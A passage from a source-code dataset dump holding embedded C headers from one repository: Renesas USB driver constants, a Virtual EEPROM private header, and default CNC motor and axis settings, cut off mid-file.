USB_DEVICE_6 0x6000u /* Device address 6 */\n#define USB_DEVICE_7 0x7000u /* Device address 7 */\n#define USB_DEVICE_8 0x8000u /* Device address 8 */\n#define USB_DEVICE_9 0x9000u /* Device address 9 */\n#define USB_DEVICE_A 0xA000u /* Device address A */\n#define USB_NODEVICE 0xF000u /* No device */\n#define USB_DEVADDRBIT 12u\n\n/* DCP Max packetsize */\n#define USB_MAXPFIELD 0x007Fu /* Maxpacket size of DCP */\n\n/******************************************************************************\nAnother define\n******************************************************************************/\n/* ControlPipe Max Packet size */\n#define USB_DEFPACKET 0x0040u /* Default DCP Max packet size */\n\n/* Device state define */\n#define USB_NONDEVICE 0u\n#define USB_NOTTPL 1u\n#define USB_ATTACHDEVICE 2u\n#define USB_DEVICEENUMERATION 3u\n#define USB_DEVICEADDRESSED 4u\n#define USB_DEVICECONFIGURED 5u\n#define USB_COMPLETEPIPESET 10u\n#define USB_DEVICESUSPENDED 20u\n#define USB_ELECTRICALTEST 30u\n\n/* Control Transfer Stage */\n#define USB_IDLEST 0u /* Idle */\n#define USB_SETUPNDC 1u /* Setup Stage No Data Control */\n#define USB_SETUPWR 2u /* Setup Stage Control Write */\n#define USB_SETUPRD 3u /* Setup Stage Control Read */\n#define USB_DATAWR 4u /* Data Stage Control Write */\n#define USB_DATARD 5u /* Data Stage Control Read */\n#define USB_STATUSRD 6u /* Status stage */\n#define USB_STATUSWR 7u /* Status stage */\n#define USB_SETUPWRCNT 17u /* Setup Stage Control Write */\n#define USB_SETUPRDCNT 18u /* Setup Stage Control Read */\n#define USB_DATAWRCNT 19u /* Data Stage Control Write */\n#define USB_DATARDCNT 20u /* Data Stage Control Read */\n\n/******************************************************************************\nHUB define\n******************************************************************************/\n/* HUB spec */\n#define USB_FSHUB 1u\n#define USB_HSHUBS 2u\n#define USB_HSHUBM 3u\n\n/* Interface number */\n#define USB_HUB_INTNUMFS 1u\n#define USB_HUB_INTNUMHSS 1u\n#define USB_HUB_INTNUMHSM 1u\n\n\n/******************************************************************************\nOTG define\n******************************************************************************/\n#define USB_ADEVICE 0x0000u\n#define USB_BDEVICE 0x0004u\n\n#define USB_UNDER05 0x0000u\n#define USB_MID05TO14 0x4000u\n#define USB_MID14TO45 0x8000u\n#define USB_OVER45 0xC000u\n\n\n/* USB Manager mode */\n#define USB_PORTOFF 0u /* Disconnect(VBUSoff) */\n#define USB_DETACHED 10u /* Disconnect(VBUSon) */\n#define USB_ATTACHED 20u /* Disconnect(HUBdiconfigured) */\n#define USB_POWERED 30u /* Start reset handshake */\n#define USB_DEFAULT 40u /* Set device address */\n#define USB_ADDRESS 50u /* Enumeration start */\n#define USB_ENUMERATION 60u /* Wait device enumeration */\n#define USB_CONFIGURED 70u /* Detach detected */\n#define USB_SUSPENDED 80u /* Device suspended */\n#define USB_DETACH_PROCESS 101u /* Wait device detach */\n#define USB_SUSPENDED_PROCESS 102u /* Wait device suspend */\n#define USB_RESUME_PROCESS 103u /* Wait device resume */\n/* Condition compilation by the difference of IP */\n#if USB_IPSEL_PP == USB_596IP_PP\n#define USB_DISABLEDET 90u /* Disable detach detected */\n#endif /* USB_596IP_PP */\n\n\n/******************************************************************************\nTask request message type\n******************************************************************************/\n/* HCD common task message command */\n#define USB_MSG_HCD_ATTACH 0x0101u\n#define USB_MSG_HCD_DETACH 0x0102u\n#define USB_MSG_HCD_USBRESET 0x0103u\n#define USB_MSG_HCD_SUSPEND 0x0104u\n#define USB_MSG_HCD_RESUME 0x0105u\n#define USB_MSG_HCD_REMOTE 0x0106u\n#define USB_MSG_HCD_VBON 0x0107u\n#define USB_MSG_HCD_VBOFF 0x0108u\n#define USB_MSG_HCD_CLR_STALL 0x0109u\n#define USB_MSG_HCD_DETACH_MGR 0x010Au\n#define USB_MSG_HCD_ATTACH_MGR 0x010Bu\n\n#define USB_MSG_HCD_CLR_STALL_RESULT 0x010Cu\n#define USB_MSG_HCD_CLR_STALLBIT 0x010Du\n#define USB_MSG_HCD_SQTGLBIT 0x010Fu\n\n/* HCD task message command */\n#define USB_MSG_HCD_SETDEVICEINFO 0x0111u\n#define USB_MSG_HCD_SUBMITUTR 0x0112u\n#define USB_MSG_HCD_TRANSEND1 0x0113u\n#define USB_MSG_HCD_TRANSEND2 0x0114u\n#define USB_MSG_HCD_CLRSEQBIT 0x0115u\n#define USB_MSG_HCD_SETSEQBIT 0x0116u\n#define USB_MSG_HCD_INT 0x0117u\n#define USB_MSG_HCD_PCUTINT 0x0118u\n#define USB_MSG_HCD_DMAINT 0x0119u\n\n#define USB_MSG_HCD_D0FIFO_INT 0x0141u\n#define USB_MSG_HCD_D1FIFO_INT 0x0142u\n#define USB_MSG_HCD_RESM_INT 0x0143u\n#define USB_MSG_PCD_D0FIFO_INT 0x0144u\n#define USB_MSG_PCD_D1FIFO_INT 0x0145u\n#define USB_MSG_PCD_RESM_INT 0x0146u\n\n/* USB Manager task message command */\n#define USB_MSG_MGR_AORDETACH 0x0121u\n#define USB_MSG_MGR_OVERCURRENT 0x0122u\n#define USB_MSG_MGR_STATUSRESULT 0x0123u\n#define USB_MSG_MGR_SUBMITRESULT 0x0124u\n#define USB_MSG_MGR_TRANSENDRESULT 0x0125u\n\n#define USB_MSG_MGR_SETCONFIGURATION 0x0300\n#define USB_MSG_MGR_SETCONFIGURATION_RESULT 0x0301\n\n#define USB_MSG_MGR_GETDESCRIPTOR 0x0400\n#define USB_MSG_MGR_GETDESCRIPTOR_RESULT 0x0401\n\n/* USB HUB task message command */\n#define USB_MSG_HUB_HUB2HUBSTART 0x0131u\n#define USB_MSG_HUB_START 0x0132u\n#define USB_MSG_HUB_STOP 0x0133u\n#define USB_MSG_HUB_SUBMITRESULT 0x0134u\n#define USB_MSG_HUB_EVENT 0x0135u /* nonOS */\n#define USB_MSG_HUB_ATTACH 0x0136u /* nonOS */\n#define USB_MSG_HUB_RESET 0x0137u /* nonOS */\n\n/* CLS task message command */\n#define USB_MSG_CLS_CHECKREQUEST 0x0201u /* nonOS */\n#define USB_MSG_CLS_INIT 0x0202u /* nonOS */\n#define USB_MSG_CLS_TASK 0x0203u /* nonOS */\n#define USB_MSG_CLS_WAIT 0x0204u /* nonOS */\n#define USB_MSG_CLS_PROCESSRESULT 0x0205u /* nonOS */\n\n/* HET task message command */\n#define USB_MSG_HET_UACTOFF 0x0171u\n#define USB_MSG_HET_UACTON 0x0172u\n#define USB_MSG_HET_VBUSOFF 0x0173u\n#define USB_MSG_HET_VBUSON 0x0174u\n#define USB_MSG_HET_RESET 0x0175u\n#define USB_MSG_HET_SUSPEND 0x0176u\n#define USB_MSG_HET_RESUME 0x0177u\n#define USB_MSG_HET_ENUMERATION 0x0178u\n#define USB_MSG_HET_TESTNONE 0x0181u\n#define USB_MSG_HET_TESTPACKET 0x0182u\n#define USB_MSG_HET_TESTJ 0x0183u\n#define USB_MSG_HET_TESTK 0x0184u\n#define USB_MSG_HET_TESTSE0 0x0185u\n#define USB_MSG_HET_TESTSIGSTOP 0x0186u\n#define USB_MSG_HET_SINGLESETUP 0x0187u\n#define USB_MSG_HET_SINGLEDATA 0x0188u\n\n/******************************************************************************\nUSB driver specification define\n******************************************************************************/\n\n/******************************************************************************\nAnother define\n******************************************************************************/\n/* Descriptor index */\n#define USB_DEV_MAX_PKT_SIZE 7u /* Index of bMAXPacketSize */\n#define USB_DEV_NUM_CONFIG 17u /* Index of bNumConfigurations */\n#define USB_ALT_NO 255u\n#define USB_SOFT_CHANGE 0u\n\n/******************************************************************************\nTask request message type\n******************************************************************************/\n/* USB Peripheral task message command */\n#define USB_MSG_PCD_INT 0x0151u\n#define USB_MSG_PCD_SUBMITUTR 0x0152u\n#define USB_MSG_PCD_TRANSEND1 0x0153u\n#define USB_MSG_PCD_TRANSEND2 0x0154u\n#define USB_MSG_PCD_REMOTEWAKEUP 0x0155u\n#define USB_MSG_PCD_DETACH 0x0161u\n#define USB_MSG_PCD_ATTACH 0x0162u\n#define USB_MSG_PCD_CLRSEQBIT 0x0163u\n#define USB_MSG_PCD_SETSTALL 0x0164u\n#define USB_MSG_PCD_PCUTINT 0x0156u\n\n#define USB_MSG_PCD_DP_ENABLE 0x0157u\n#define USB_MSG_PCD_DP_DISABLE 0x0158u\n#define USB_MSG_PCD_DM_ENABLE 0x0159u\n#define USB_MSG_PCD_DM_DISABLE 0x015Au\n\n#define USB_MSG_PCD_DMAINT 0x015bu\n\n#define USB_DO_REMOTEWAKEUP USB_MSG_PCD_REMOTEWAKEUP\n#define USB_DP_ENABLE USB_MSG_PCD_DP_ENABLE\n#define USB_DP_DISABLE USB_MSG_PCD_DP_DISABLE\n#define USB_DM_ENABLE USB_MSG_PCD_DM_ENABLE\n#define USB_DM_DISABLE USB_MSG_PCD_DM_DISABLE\n\n#define USB_DO_STALL USB_MSG_PCD_SETSTALL\n\n#define USB_DO_RESET_AND_ENUMERATION 0x0202u /* USB_MSG_HCD_ATTACH */\n#define USB_PORT_ENABLE 0x0203u /* USB_MSG_HCD_VBON */\n#define USB_PORT_DISABLE 0x0204u /* USB_MSG_HCD_VBOFF */\n#define USB_DO_GLOBAL_SUSPEND 0x0205u /* USB_MSG_HCD_SUSPEND */\n#define USB_DO_SELECTIVE_SUSPEND 0x0206u /* USB_MSG_HCD_SUSPEND */\n#define USB_DO_GLOBAL_RESUME 0x0207u /* USB_MSG_HCD_RESUME */\n#define USB_DO_SELECTIVE_RESUME 0x0208u /* USB_MSG_HCD_RESUME */\n#define USB_DO_CLR_STALL 0x0209u /* USB_MSG_HCD_CLR_STALL */\n#define USB_DO_SET_SQTGL 0x020Au /* USB_MSG_HCD_SQTGLBIT */\n#define USB_DO_CLR_SQTGL 0x020Bu /* USB_MSG_HCD_CLRSEQBIT */\n\n/******************************************************************************\nHost Battery Charging Define\n******************************************************************************/\n#ifdef USB_HOST_BC_ENABLE\n/* BC State Define */\n#define USB_BC_STATE_INIT (0x00u)\n#define USB_BC_STATE_DET (0x01u)\n#define USB_BC_STATE_CDP (0x02u)\n#define USB_BC_STATE_SDP (0x03u)\n#define USB_BC_STATE_DCP (0x04u)\n#define USB_BC_STATE_MAX (0x05u)\n\n/* BC State Change Event Define */\n#define USB_BC_EVENT_VB (0x00u)\n#define USB_BC_EVENT_AT (0x01u)\n#define USB_BC_EVENT_DT (0x02u)\n#define USB_BC_EVENT_MAX (0x03u)\n\n/* DCP Mode Setting Define */\n#ifdef USB_BC_DCP_ENABLE\n#define USB_BC_DCPMODE (0x01u)\n#else /* USB_BC_DCP_ENABLE */\n#define USB_BC_DCPMODE (0x00u)\n#endif /* USB_BC_DCP_ENABLE */\n\n#define USB_NOT_BC (0xFFFEu)\n\n#endif /* USB_HOST_BC_ENABLE */\n\n/******************************************************************************\nHost Compliance Define\n******************************************************************************/\n#ifdef USB_HOST_COMPLIANCE_MODE\n#define USB_COMP_ATTACH (0x00u)\n#define USB_COMP_DETACH (0x01u)\n#define USB_COMP_TPL (0x02u)\n#define USB_COMP_NOTTPL (0x03u)\n#define USB_COMP_HUB (0x04u)\n#define USB_COMP_STOP (0x05u)\n#define USB_COMP_NOTRESP (0x06u)\n#define USB_COMP_VID (0x07u)\n#define USB_COMP_PID (0x08u)\n#define USB_COMP_ERR (0x09u)\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n\n#endif /* __R_USB_CDEFUSBIP_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5331979393959045, "alphanum_fraction": 0.5421028137207031, "avg_line_length": 56.64864730834961, "blob_id": "d908df92a84f120a007391a3e1319687468d3e4f", "content_id": "c328d6cf037f1009177770bfe508e524f8705d6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6401, "license_type": "no_license", "max_line_length": 120, "num_lines": 111, "path": "/r_vee/src/r_vee.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee.h\n* Description : Private header file for Virtual EEPROM.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 03.01.2013 1.70 Added R_VEE_Open() function to initialize or reset VEE. Created r_vee_target.h to replace\n* multiple r_vee_<mcu>.h files that had duplicate information. Updated to be compliant with\n* FIT v1.00 specification. This means that config file is now in 'ref' folder. Tested with\n* RX62G, RX210, and RX63T. Added R_VEE_Control() function. First release for this file.\n***********************************************************************************************************************/\n\n#ifndef VEE_H\n#define VEE_H\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* From r_bsp. Gives us MCU information used to configure VEE project. */\n#include \"platform.h\"\n/* For data flash program size. */\n#include \"r_flash_api_rx_if.h\"\n/* For detecting correct Flash API configuration. */\n\n\n/***********************************************************************************************************************\nProper configuration checks\n***********************************************************************************************************************/\n/* Flash API checks. */\n#if !defined(FLASH_API_RX_CFG_FLASH_TO_FLASH)\n #error \"The FLASH_API_RX_CFG_FLASH_TO_FLASH macro in r_flash_api_rx_config.h must be enabled to use the VEE.\"\n#endif\n\n#if !defined(FLASH_API_RX_CFG_DATA_FLASH_BGO)\n #error \"The FLASH_API_RX_CFG_DATA_FLASH_BGO macro in r_flash_api_rx_config.h must be enabled to use the VEE.\"\n#endif\n\n/* VEE checks. */\n#if (VEE_NUM_SECTORS <= 0)\n #error \"VEE_NUM_SECTORS in r_vee_config.h must be defined to a value >= 1\"\n#endif\n\n#if (VEE_MAX_RECORD_ID <= 0)\n #error \"VEE_MAX_RECORD_ID in r_vee_config.h must be defined to a value >= 1\"\n#endif\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Marks a cache entry as valid */\n#define VEE_CACHE_ENTRY_VALID (0x85)\n/* Any value that is not VEE_CACHE_ENTRY_VALID will work, but define one here to get rid of magic numbers. */\n#define VEE_CACHE_ENTRY_INVALID (0)\n\n/* Offsets from start of VEE Blocks to that blocks state flags */\n#define VEE_BLOCK_STATE_ERASING (0)\n#define VEE_BLOCK_STATE_ACTIVE (1)\n#define VEE_BLOCK_STATE_FULL (2)\n#define VEE_BLOCK_STATE_NEXTUP (3)\n\n/* For determining if a VEE Block's state flags are set */\n#define VEE_BLOCK_FLAG_SET (1)\n#define VEE_BLOCK_FLAG_NOT_SET (0)\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n#if (DF_PROGRAM_SIZE_SMALL == 1)\n/* Set size of vee_var_data_t to the minimum write size of MCU's data flash or larger. This is the size of the \n variables in a record structure. */\ntypedef uint8_t vee_var_data_t;\n/* Set size of vee_var_min_t to the minimum write size of MCU's data flash */\ntypedef uint8_t vee_var_min_t;\n#elif (DF_PROGRAM_SIZE_SMALL == 2)\n/* Set size of vee_var_data_t to the minimum write size of MCU's data flash or larger. This is the size of the \n variables in a record structure. */\ntypedef uint16_t vee_var_data_t;\n/* Set size of vee_var_min_t to the minimum write size of MCU's data flash */\ntypedef uint16_t vee_var_min_t;\n#elif (DF_PROGRAM_SIZE_SMALL == 4)\n/* Set size of vee_var_data_t to the minimum write size of MCU's data flash or larger. This is the size of the \n variables in a record structure. */\ntypedef uint32_t vee_var_data_t;\n/* Set size of vee_var_min_t to the minimum write size of MCU's data flash */\ntypedef uint32_t vee_var_min_t;\n#elif (DF_PROGRAM_SIZE_SMALL == 8)\n/* Set size of vee_var_data_t to the minimum write size of MCU's data flash or larger. This is the size of the \n variables in a record structure. */\ntypedef uint64_t vee_var_data_t;\n/* Set size of vee_var_min_t to the minimum write size of MCU's data flash */\ntypedef uint64_t vee_var_min_t;\n#endif\n\n#endif //VEE_H\n\n\n" }, { "alpha_fraction": 0.6111406087875366, "alphanum_fraction": 0.6692838072776794, "avg_line_length": 34.16044616699219, "blob_id": "c423179ced5c9e1244ba05f94cd4038512167b91", "content_id": "06adfcc25b45bdba3c0af28879e6497ad54e2de1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9425, "license_type": "no_license", "max_line_length": 123, "num_lines": 268, "path": "/src/cnc/settings/settings_default.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * settings_easymak.h */\n\n/* Note: The values in this file are the default settings that are loaded\n * \t\t into a virgin EEPROM, and can be changed using the config commands.\n *\t\t After initial load the EEPROM values (or changed values) are used.\n *\n *\t\t System and hardware settings that you shouldn't need to change\n *\t\t are in system.h Application settings that also shouldn't need\n *\t\t to be changed are in tinyg.h\n */\n\n/***********************************************************************/\n/**** easymak profile ********************************************/\n/***********************************************************************/\n\n// ***> NOTE: The init message must be a single line with no CRs or LFs\n#define INIT_MESSAGE \"Initializing configs to Shapeoko2 500mm profile\"\n\n//#define JUNCTION_DEVIATION\t\t0.03// default value, in mm - smaller is faster\n//#define JUNCTION_ACCELERATION\t1500000\t// 2 million - centripetal acceleration around corners\n\n#define JUNCTION_DEVIATION\t\t0.2// default value, in mm - smaller is faster\n#define JUNCTION_ACCELERATION\t160000\t// 2 million - centripetal acceleration around corners\n\n// *** settings.h overrides ***\n\n#undef COMM_MODE\n#define COMM_MODE\t\t\t\tTEXT_MODE\n\n#undef JSON_VERBOSITY\n#define JSON_VERBOSITY \t\t\tJV_VERBOSE\n\n#undef SWITCH_TYPE\n#define SWITCH_TYPE \t\t\tSW_TYPE_NORMALLY_CLOSED\t// one of: SW_TYPE_NORMALLY_OPEN, SW_TYPE_NORMALLY_CLOSED\n\n// *** motor settings ***\n#define CREM_HELI 80.100\n#define CREM_RETA 75.3982236862\n//#define TRAVELXY\t75.3982236862\n#define TRAVELX\t75.3982236862\n#define TRAVELY\t75.3982236862\n#define TRAVELZ\t3\n\n#define M1_MOTOR_MAP\t\t\tAXIS_Z\n#define M1_STEP_ANGLE\t\t\t1.8\n#define M1_TRAVEL_PER_REV\t\tTRAVELZ\n#define M1_MICROSTEPS\t\t\t64\n#define M1_POLARITY\t\t\t\t0\n#define M1_POWER_MODE\t\t\t2\n\n#define M2_MOTOR_MAP\t\t\tAXIS_Y // Y1 - left side of machine\n#define M2_STEP_ANGLE\t\t\t1.8\n#define M2_TRAVEL_PER_REV\t\tTRAVELY\n#define M2_MICROSTEPS\t\t\t64\n#define M2_POLARITY\t\t\t\t0\n#define M2_POWER_MODE\t\t\t2\n\n#define M3_MOTOR_MAP\t\t\tAXIS_X // X2 - right sif of machine\n#define M3_STEP_ANGLE\t\t\t1.8\n#define M3_TRAVEL_PER_REV\t\tTRAVELX\n#define M3_MICROSTEPS\t\t\t64\n#define M3_POLARITY\t\t\t\t1\n#define M3_POWER_MODE\t\t\t2\n\n#define M4_MOTOR_MAP\t\t\tAXIS_X\n#define M4_STEP_ANGLE\t\t\t1.8\n#define M4_TRAVEL_PER_REV\t\tTRAVELX\n#define M4_MICROSTEPS\t\t\t64\n#define M4_POLARITY\t\t\t\t0\n#define M4_POWER_MODE\t\t\t2\n\n#define M5_MOTOR_MAP\t\t\tAXIS_DISABLED\n#define M5_STEP_ANGLE\t\t\t1.8\n#define M5_TRAVEL_PER_REV\t\t360\t\t// degrees per motor rev\n#define M5_MICROSTEPS\t\t\t8\n#define M5_POLARITY\t\t\t\t0\n#define M5_POWER_MODE\t\t\tMOTOR_POWER_MODE\n\n#define M6_MOTOR_MAP\t\t\tAXIS_DISABLED\n#define M6_STEP_ANGLE\t\t\t1.8\n#define M6_TRAVEL_PER_REV\t\t360\n#define M6_MICROSTEPS\t\t\t8\n#define M6_POLARITY\t\t\t\t0\n#define M6_POWER_MODE\t\t\tMOTOR_POWER_MODE\n\n#define Z_STEP_PULSE (M1_TRAVEL_PER_REV*M1_STEP_ANGLE)/(360*M1_MICROSTEPS)\n// *** axis settings ***\n\n// These are relative conservative values for a well-tuned Shapeoko2 or similar XY belt / Z screw machine\n\n#define X_AXIS_MODE\t\t\t\tAXIS_STANDARD\t\t// xam\t\tsee canonical_machine.h cmAxisMode for valid values\n#define X_VELOCITY_MAX\t\t\t10000 \t\t\t\t// xvm\t\tG0 max velocity in mm/min\n#define X_FEEDRATE_MAX\t\t\tX_VELOCITY_MAX\t\t// xfr \t\tG1 max feed rate in mm/min\n#define X_TRAVEL_MIN\t\t\t0\t\t\t\t\t// xtn\t\tminimum travel\n#define X_TRAVEL_MAX\t\t\t3000\t\t\t\t\t// xtm\t\tmaximum travel (travel between switches or crashes)\n#define X_JERK_MAX\t\t\t\t400\t\t\t\t// xjm\t\tyes, that's \"5 billion\" mm/(min^3)\n#define X_JERK_HOMING\t\t\t400\t\t\t\t// xjh\n#define X_JUNCTION_DEVIATION\tJUNCTION_DEVIATION\t// xjd\n#define X_SWITCH_MODE_MIN\t\tSW_MODE_HOMING\t\t// xsn\t\tSW_MODE_DISABLED, SW_MODE_HOMING, SW_MODE_LIMIT, SW_MODE_HOMING_LIMIT\n#define X_SWITCH_MODE_MAX \t\tSW_MODE_DISABLED\t// xsx\t\tSW_MODE_DISABLED, SW_MODE_HOMING, SW_MODE_LIMIT, SW_MODE_HOMING_LIMIT\n#define X_SEARCH_VELOCITY\t\t3000\t\t\t\t// xsv\t\tminus means move to minimum switch\n#define X_LATCH_VELOCITY\t\t100\t\t\t\t\t// xlv\t\tmm/min\n#define X_LATCH_BACKOFF\t\t\t10\t\t\t\t\t// xlb\t\tmm\n#define X_ZERO_BACKOFF\t\t\t2\t\t\t\t\t// xzb\t\tmm\n\n#define Y_AXIS_MODE\t\t\t\tAXIS_STANDARD\n#define Y_VELOCITY_MAX\t\t\t10000\n#define Y_FEEDRATE_MAX\t\t\tY_VELOCITY_MAX\n#define Y_TRAVEL_MIN\t\t\t0\n#define Y_TRAVEL_MAX\t\t\t1500\n#define Y_JERK_MAX\t\t\t\t400\n#define Y_JERK_HOMING\t\t\t400\t\t\t\t// xjh\n#define Y_JUNCTION_DEVIATION\tJUNCTION_DEVIATION\n#define Y_SWITCH_MODE_MIN\t\tSW_MODE_HOMING\n#define Y_SWITCH_MODE_MAX\t\tSW_MODE_DISABLED\n#define Y_SEARCH_VELOCITY\t\t3000\n#define Y_LATCH_VELOCITY\t\t100\n#define Y_LATCH_BACKOFF\t\t\t10\n#define Y_ZERO_BACKOFF\t\t\t2\n\n#define Z_AXIS_MODE\t\t\t\tAXIS_STANDARD\n#define Z_VELOCITY_MAX\t\t\t900\n#define Z_FEEDRATE_MAX\t\t\tZ_VELOCITY_MAX\n#define Z_TRAVEL_MAX\t\t\t0\n#define Z_TRAVEL_MIN\t\t\t-120 // this is approximate as Z depth depends on tooling\n // value must be large enough to guarantee return to Zmax during homing\n#define Z_JERK_MAX\t\t\t\t6000\t\t\t\t\t// 50,000,000\n#define Z_JERK_HOMING\t\t\t6000\n#define Z_JUNCTION_DEVIATION\tJUNCTION_DEVIATION\n#define Z_SWITCH_MODE_MIN\t\tSW_MODE_DISABLED\n#define Z_SWITCH_MODE_MAX\t\tSW_MODE_HOMING\n#define Z_SEARCH_VELOCITY\t\tZ_VELOCITY_MAX\n#define Z_LATCH_VELOCITY\t\t100\n#define Z_LATCH_BACKOFF\t\t\t10\n#define Z_ZERO_BACKOFF\t\t\t3\n\n/***************************************************************************************\n * A Axis rotary values are chosen to make the motor react the same as X for testing\n *\n * To calculate the speeds here, in Wolfram Alpha-speak:\n *\n * c=2*pi*r, r=0.609, d=c/360, s=((S*60)/d), S=40 for s\n * c=2*pi*r, r=5.30516, d=c/360, s=((S*60)/d), S=40 for s\n *\n * Change r to A_RADIUS, and S to the desired speed, in mm/s or mm/s/s/s.\n *\n * It will return s= as the value you want to enter.\n *\n * If the value is over 1 million, the code will divide it by 1 million,\n * so you have to pre-multiply it by 1000000.0. (The value is in millions, btw.)\n *\n * Note that you need these to be floating point values, so always have a .0 at the end!\n *\n ***************************************************************************************/\n\n#define A_AXIS_MODE \t\t\tAXIS_RADIUS\n#define A_RADIUS \t\t\t\t5.30516 //\n#define A_VELOCITY_MAX 25920.0 // ~40 mm/s, 2,400 mm/min\n#define A_FEEDRATE_MAX \t\t\t25920.0/2.0 // ~20 mm/s, 1,200 mm/min\n#define A_TRAVEL_MIN \t\t\t-1 // identical mean no homing will occur\n#define A_TRAVEL_MAX \t\t\t-1\n#define A_JERK_MAX \t\t\t\t324000 // 1,000 million mm/min^3\n // * a million IF it's over a million\n // c=2*pi*r, r=5.30516476972984, d=c/360, s=((1000*60)/d)\n#define A_JERK_HOMING\t\t\tA_JERK_MAX\n#define A_JUNCTION_DEVIATION\t0.1\n#define A_SWITCH_MODE_MIN\t\tSW_MODE_HOMING\n#define A_SWITCH_MODE_MAX\t\tSW_MODE_DISABLED\n#define A_SEARCH_VELOCITY \t\t2000\n#define A_LATCH_VELOCITY \t\t2000\n#define A_LATCH_BACKOFF \t\t5\n#define A_ZERO_BACKOFF \t\t\t2\n\n/*\n#define A_AXIS_MODE\t\t\t\tAXIS_STANDARD\n#define A_VELOCITY_MAX\t\t\t60000\n#define A_FEEDRATE_MAX\t\t\t48000\n#define A_JERK_MAX\t\t\t\t24000\t\t\t\t// yes, 24 billion\n#define A_JERK_HOMING\t\t\tA_JERK_MAX\n#define A_RADIUS\t\t\t\t1.0\n#define A_SWITCH_MODE_MIN\t\tSW_MODE_HOMING\n#define A_SWITCH_MODE_MAX\t\tSW_MODE_DISABLED\n#define A_SEARCH_VELOCITY\t\t6000\n#define A_LATCH_VELOCITY\t\t1000\n#define A_LATCH_BACKOFF\t\t\t5\n#define A_ZERO_BACKOFF\t\t\t2\n*/\n\n#define B_AXIS_MODE\t\t\t\tAXIS_DISABLED\n#define B_VELOCITY_MAX\t\t\t3600\n#define B_FEEDRATE_MAX\t\t\tB_VELOCITY_MAX\n#define B_TRAVEL_MAX\t\t\t-1\n#define B_TRAVEL_MIN\t\t\t-1\n#define B_JERK_MAX\t\t\t\t20\n#define B_JERK_HOMING\t\t\tB_JERK_MAX\n#define B_JUNCTION_DEVIATION\tJUNCTION_DEVIATION\n#define B_RADIUS\t\t\t\t1\n#define B_SWITCH_MODE_MIN\t\tSW_MODE_HOMING\n#define B_SWITCH_MODE_MAX\t\tSW_MODE_DISABLED\n#define B_SEARCH_VELOCITY\t\t6000\n#define B_LATCH_VELOCITY\t\t1000\n#define B_LATCH_BACKOFF\t\t\t5\n#define B_ZERO_BACKOFF\t\t\t2\n\n#define C_AXIS_MODE\t\t\t\tAXIS_DISABLED\n#define C_VELOCITY_MAX\t\t\t3600\n#define C_FEEDRATE_MAX\t\t\tC_VELOCITY_MAX\n#define C_TRAVEL_MAX\t\t\t-1\n#define C_TRAVEL_MIN\t\t\t-1\n#define C_JERK_MAX\t\t\t\t20\n#define C_JERK_HOMING\t\t\tC_JERK_MAX\n#define C_JUNCTION_DEVIATION\tJUNCTION_DEVIATION\n#define C_RADIUS\t\t\t\t1\n#define C_SWITCH_MODE_MIN\t\tSW_MODE_HOMING\n#define C_SWITCH_MODE_MAX\t\tSW_MODE_DISABLED\n#define C_SEARCH_VELOCITY\t\t6000\n#define C_LATCH_VELOCITY\t\t1000\n#define C_LATCH_BACKOFF\t\t\t5\n#define C_ZERO_BACKOFF\t\t\t2\n\n// *** DEFAULT COORDINATE SYSTEM OFFSETS ***\n// Our convention is:\n//\t- leave G54 in machine coordinates to act as a persistent absolute coordinate system\n//\t- set G55 to be a zero in the middle of the table\n//\t- no action for the others\n\n#define G54_X_OFFSET 0\t\t\t// G54 is traditionally set to all zeros\n#define G54_Y_OFFSET 0\n#define G54_Z_OFFSET 0\n#define G54_A_OFFSET 0\n#define G54_B_OFFSET 0\n#define G54_C_OFFSET 0\n\n#define G55_X_OFFSET X_TRAVEL_MAX/2\t// set g55 to middle of table\n#define G55_Y_OFFSET Y_TRAVEL_MAX/2\n#define G55_Z_OFFSET 0\n#define G55_A_OFFSET 0\n#define G55_B_OFFSET 0\n#define G55_C_OFFSET 0\n\n#define G56_X_OFFSET 0\n#define G56_Y_OFFSET 0\n#define G56_Z_OFFSET 0\n#define G56_A_OFFSET 0\n#define G56_B_OFFSET 0\n#define G56_C_OFFSET 0\n\n#define G57_X_OFFSET 0\n#define G57_Y_OFFSET 0\n#define G57_Z_OFFSET 0\n#define G57_A_OFFSET 0\n#define G57_B_OFFSET 0\n#define G57_C_OFFSET 0\n\n#define G58_X_OFFSET 0\n#define G58_Y_OFFSET 0\n#define G58_Z_OFFSET 0\n#define G58_A_OFFSET 0\n#define G58_B_OFFSET 0\n#define 